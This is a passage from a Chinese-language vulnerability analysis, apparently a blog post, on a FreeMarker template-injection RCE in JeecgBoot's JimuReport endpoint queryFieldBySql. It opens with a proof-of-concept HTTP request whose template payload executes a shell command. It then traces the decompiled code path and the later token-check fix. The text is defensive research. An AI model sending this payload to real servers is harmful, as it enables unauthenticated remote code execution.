1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">poc:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span leaf="">POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1</span></code><code><span leaf="">Host: 192.168.1.108:8080</span></code><code><span leaf="">Cache-Control: max-age=0</span></code><code><span leaf="">Upgrade-Insecure-Requests: 1</span></code><code><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 Config/100.2.9281.82</span></code><code><span leaf="">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8</span></code><code><span leaf="">Sec-GPC: 1</span></code><code><span leaf="">Accept-Language: zh-CN,zh</span></code><code><span leaf="">Accept-Encoding: gzip, deflate</span></code><code><span leaf="">Connection: close</span></code><code><span leaf="">Content-Type: application/json</span></code><code><span leaf="">Content-Length: 124</span></code><code><span leaf=""><br/></span></code><code><span leaf="">{</span></code><code><span leaf="">    &#34;sql&#34;: &#34;&lt;#assign ex=\&#34;freemarker.template.utility.Execute\&#34;?new()&gt;${ex(\&#34;touch /tmp/success\&#34;)}&#34;,</span></code><code><span leaf="">    &#34;type&#34;: &#34;0&#34;</span></code><code><span leaf="">}</span></code></pre></section><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">漏洞分析</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">jeecg使用shiro做鉴权框架，配置文件在 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">src/main/java/org/jeecg/config/shiro/ShiroConfig.java</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">设置了jmreport api排除</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">//积木报表排除</span></code><code><span leaf="">filterChainDefinitionMap.put(&#34;/jmreport/**&#34;, &#34;anon&#34;);</span></code><code><span leaf="">filterChainDefinitionMap.put(&#34;/**/*.js.map&#34;, &#34;anon&#34;);</span></code><code><span leaf="">filterChainDefinitionMap.put(&#34;/**/*.css.map&#34;, &#34;anon&#34;);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">反编译jar包，定位到漏洞路由</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">/org/jeecgframework/jimureport/jimureport-spring-boot-starter/1.5.9/jimureport-spring-boot-starter-1.5.9.jar!/org/jeecg/modules/jmreport/desreport/a/a.class:596#parseReportSql</span></code></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="image-20250109110609977" class="rich_pages wxw-img" data-imgfileid="100002058" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2d074ffe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ezgUbytNSX4hX79bFqAZuCnqza8ib75xs303uEkZ7YAkjNUgva8wDOAClMEogEDWdLjxEEUxAkbEw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">request进入到c函数后，有一个简单的sql过滤的处理</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="image-20250113135526089" class="rich_pages wxw-img" data-imgfileid="100002057" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e5bf7f00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ezgUbytNSX4hX79bFqAZuCOqBHbIZLgL5VlBaFo2SfibFJLh5BsOcaYiaPFwbFeUMqJ1q3E33hneaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">然后传递给</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">org.jeecg.modules.jmreport.desreport.service.a.i</span></code><span leaf="">的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">parseReportSql</span></code><span leaf="">方法</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf=""> @PostMapping({&#34;/queryFieldBySql&#34;})</span></code><code><span leaf="">    public Result&lt;?&gt; c(@RequestBody JSONObject var1) {</span></code><code><span leaf="">        ...</span></code><code><span leaf="">        Map var12 = this.reportDbService.parseReportSql(var2, var3, var4, var5);</span></code><code><span leaf="">        ...</span></code><code><span leaf="">    }</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">parseReportSql函数中,主要关注</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf=""> sql = f.a(sql, var8, (JSONArray)null);</span></code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf="">public Map&lt;String, Object&gt; parseReportSql(String sql, String dbKey, Object paramArray, String type) throws JimuReportException {</span></code><code><span leaf="">        HashMap var5 = new HashMap(5);</span></code><code><span leaf="">        new ArrayList();</span></code><code><span leaf="">        String var7 = this.jimuTokenClient.getToken();</span></code><code><span leaf="">        Map var8 = null;</span></code><code><span leaf="">        if (g.d(var7)) {</span></code><code><span leaf="">            var8 = this.jimuTokenClient.getUserInfo(var7);</span></code><code><span leaf="">        }</span></code><code><span leaf=""><br/></span></code><code><span leaf="">        if (g.d(paramArray)) {</span></code><code><span leaf="">            sql = f.a(sql, var8, JSONArray.parseArray(paramArray.toString()));</span></code><code><span leaf="">        } else {</span></code><code><span leaf="">            sql = f.a(sql, var8, (JSONArray)null);</span></code><code><span leaf="">        }</span></code><code><span leaf="">        ...</span></code><code><span leaf="">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">a函数传递给了另一个a函数</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf="">public static String a(String var0, Map&lt;String, Object&gt; var1, JSONArray var2) {</span></code><code><span leaf="">    ...</span></code><code><span leaf="">    var0 = a(var2, var0);</span></code><code><span leaf="">    ...</span></code><code><span leaf="">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">a函数传递给了FreeMarkerUtils的a函数</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf="">public static String a(JSONArray var0, String var1) {</span></code><code><span leaf="">    ...</span></code><code><span leaf="">    var1 = FreeMarkerUtils.a(var1, var2);</span></code><code><span leaf="">    ...</span></code><code><span leaf="">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">FreeMarkerUtils的a函数如下，将sql语句带入模板进行执行，完成rce:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf="">public static String a(String var0, Map&lt;String, Object&gt; var1) {</span></code><code><span leaf="">        if (var0 == null) {</span></code><code><span leaf="">            return null;</span></code><code><span leaf="">        } else {</span></code><code><span leaf="">            Configuration var2 = new Configuration();</span></code><code><span leaf="">            var2.setNumberFormat(&#34;#.#########&#34;);</span></code><code><span leaf="">            var2.setSharedVariable(&#34;func&#34;, new FunctionMethod());</span></code><code><span leaf="">            var1.put(&#34;jeecg&#34;, new FreemarkerMethod());</span></code><code><span leaf="">            var1.put(&#34;isNotEmpty&#34;, new NotEmptyMethod());</span></code><code><span leaf="">            var2.setClassicCompatible(true);</span></code><code><span leaf="">            StringWriter var3 = new StringWriter();</span></code><code><span leaf=""><br/></span></code><code><span leaf="">            try {</span></code><code><span leaf="">                a.debug(&#34;模板内容:{}&#34;, var0.toString());</span></code><code><span leaf="">                (new Template(&#34;template&#34;, new StringReader(var0), var2)).process(var1, var3);</span></code><code><span leaf="">                a.debug(&#34;模板解析结果:{}&#34;, var3.toString());</span></code><code><span leaf="">            } catch (TemplateException var5) {</span></code><code><span leaf="">                var5.printStackTrace();</span></code><code><span leaf="">            } catch (IOException var6) {</span></code><code><span leaf="">                var6.printStackTrace();</span></code><code><span leaf="">            }</span></code><code><span leaf=""><br/></span></code><code><span leaf="">            return var3.toString();</span></code><code><span leaf="">        }</span></code><code><span leaf="">    }</span></code></pre></section><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">漏洞修复</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">更新到最新代码后，直接访问发现提示token检验识别</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="image-20250113164504940" class="rich_pages wxw-img" data-imgfileid="100002056" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4bf39a2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ezgUbytNSX4hX79bFqAZuCE6vibt1ToXq9oyoeDXia1bUl3KEHJS35RRdh0WcSvsmGcqFxWJN4mfCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">但是在shiro中并没有对这个权限进行校验</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__plaintext">//积木报表排除</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">filterChainDefinitionMap.put(</span><span class="code-snippet__string">&#34;/jmreport/**&#34;</span><span class="code-snippet__plaintext">, </span><span class="code-snippet__string">&#34;anon&#34;</span><span class="code-snippet__plaintext">);</span></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">根据日志</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">o.j.m.j.c.f.interceptor.JimuReportTokenInterceptor:131</span></code><span leaf=""> 可以找到相关的过滤代码</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf="">public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {</span></code><code><span leaf="">        if (!(handler instanceof HandlerMethod)) {</span></code><code><span leaf="">            return true;</span></code><code><span leaf="">        } else {</span></code><code><span leaf="">            String var4 = e.j(request.getRequestURI().substring(request.getContextPath().length()));</span></code><code><span leaf="">            short var5 = 500;</span></code><code><span leaf="">            if (m.a(var4)) {</span></code><code><span leaf="">                log.error(&#34;请注意，请求地址有xss攻击风险！&#34; + var4);</span></code><code><span leaf="">                this.backError(response, &#34;请求地址有xss攻击风险!&#34;, Integer.valueOf(var5));</span></code><code><span leaf="">                return false;</span></code><code><span leaf="">            } else {</span></code><code><span leaf="">                String var6 = this.jmBaseConfig.getCustomPrePath();</span></code><code><span leaf="">                if (OkConvertUtils.isNotEmpty(var6) &amp;&amp; !var6.startsWith(&#34;/&#34;)) {</span></code><code><span leaf="">                    var6 = &#34;/&#34; + var6;</span></code><code><span leaf="">                }</span></code><code><span leaf=""><br/></span></code><code><span leaf="">                request.setAttribute(&#34;customPrePath&#34;, var6);</span></code><code><span leaf="">                HandlerMethod var7 = (HandlerMethod)handler;</span></code><code><span leaf="">                Method var8 = var7.getMethod();</span></code><code><span leaf="">                if (var4.contains(&#34;/jmreport/shareView/&#34;)) {</span></code><code><span leaf="">                    return true;</span></code><code><span leaf="">                } else {</span></code><code><span leaf="">                    JimuNoLoginRequired var9 = (JimuNoLoginRequired)var8.getAnnotation(JimuNoLoginRequired.class);</span></code><code><span leaf="">                    if (OkConvertUtils.isNotEmpty(var9)) {</span></code><code><span leaf="">                        return true;</span></code><code><span leaf="">                    } else {</span></code><code><span leaf="">                        boolean var10 = false;</span></code><code><span leaf=""><br/></span></code><code><span leaf="">                        try {</span></code><code><span leaf="">                            var10 = this.verifyToken(request);</span></code><code><span leaf="">                        } catch (Exception var14) {</span></code><code><span leaf="">                        }</span></code><code><span leaf=""><br/></span></code><code><span leaf="">                        if (!var10) {</span></code><code><span leaf="">                            if (this.jimuReportShareService.isSharingEffective(var4, request)) {</span></code><code><span leaf="">                                return true;</span></code><code><span leaf="">                            } else {</span></code><code><span leaf="">                                String var16 = request.getParameter(&#34;previousPage&#34;);</span></code><code><span leaf="">                                if (OkConvertUtils.isNotEmpty(var16)) {</span></code><code><span leaf="">                                    if (!var4.startsWith(&#34;/jmreport/view&#34;)) {</span></code><code><span leaf="">                                        log.error(&#34;不被允许的钻取请求地址(&#34; + request.getMethod() + &#34;)：&#34; + var4);</span></code><code><span leaf="">                                        this.backError(response, &#34;Token校验失败，无权限访问！&#34;, Integer.valueOf(var5));</span></code><code><span leaf="">                                        return false;</span></code><code><span leaf="">                                    } else if (this.jimuReportShareService.isShareingToken(var4, request)) {</span></code><code><span leaf="">                                        return true;</span></code><code><span leaf="">                                    } else {</span></code><code><span leaf="">                                        log.error(&#34;分享链接失效或分享token不匹配(&#34; + request.getMethod() + &#34;)：&#34; + var4);</span></code><code><span leaf="">                                        this.backError(response, &#34;分享链接失效或分享token不匹配，禁止钻取!&#34;, Integer.valueOf(var5));</span></code><code><span leaf="">                                        return false;</span></code><code><span leaf="">                                    }</span></code><code><span leaf="">                                } else {</span></code><code><span leaf="">                                    log.error(&#34;Token校验失败！请求无权限(&#34; + request.getMethod() + &#34;)：&#34; + var4);</span></code><code><span leaf="">                                    this.backError(response, &#34;Token校验失败，无权限访问！&#34;, Integer.valueOf(var5));</span></code><code><span leaf="">                                    return false;</span></code><code><span leaf="">                                }</span></code><code><span leaf="">                            }</span></code><code><span leaf="">                        } else {</span></code><code><span leaf="">                            RequiresRoles var15 = (RequiresRoles)var8.getAnnotation(RequiresRoles.class);</span></code><code><span leaf="">                            Result var11 = this.permissionsVerifyHandler.verifyRoles(request, var15, var4);</span></code><code><span leaf="">                            if (OkConvertUtils.isNotEmpty(var11) &amp;&amp; !var11.isSuccess()) {</span></code><code><span leaf="">                                this.backError(response, OkConvertUtils.getString(var11.getMessage(), &#34;没有权限，请联系管理员分配权限！&#34;), OkConvertUtils.getInt(var11.getCode(), var5));</span></code><code><span leaf="">                                return false;</span></code><code><span leaf="">                            } else {</span></code><code><span leaf="">                                RequiresPermissions var12 = (RequiresPermissions)var8.getAnnotation(RequiresPermissions.class);</span></code><code><span leaf="">                                Result var13 = this.permissionsVerifyHandler.verifyPermissions(request, var12);</span></code><code><span leaf="">                                if (OkConvertUtils.isNotEmpty(var13) &amp;&amp; !var13.isSuccess()) {</span></code><code><span leaf="">                                    this.backError(response, OkConvertUtils.getString(var13.getMessage(), &#34;没有权限，请联系管理员分配权限！&#34;), OkConvertUtils.getInt(var13.getCode(), var5));</span></code><code><span leaf="">                                    return false;</span></code><code><span leaf="">                                } else {</span></code><code><span leaf="">                                    return true;</span></code><code><span leaf="">                                }</span></code><code><span leaf="">                            }</span></code><code><span leaf="">                        }</span></code><code><span leaf="">                    }</span></code><code><span leaf="">                }</span></code><code><span leaf="">            }</span></code><code><span leaf="">        }</span></code><code><span leaf="">    }</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果方法没有使用JimuNoLoginRequired注解就需要验证token，并且强制要求url以</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 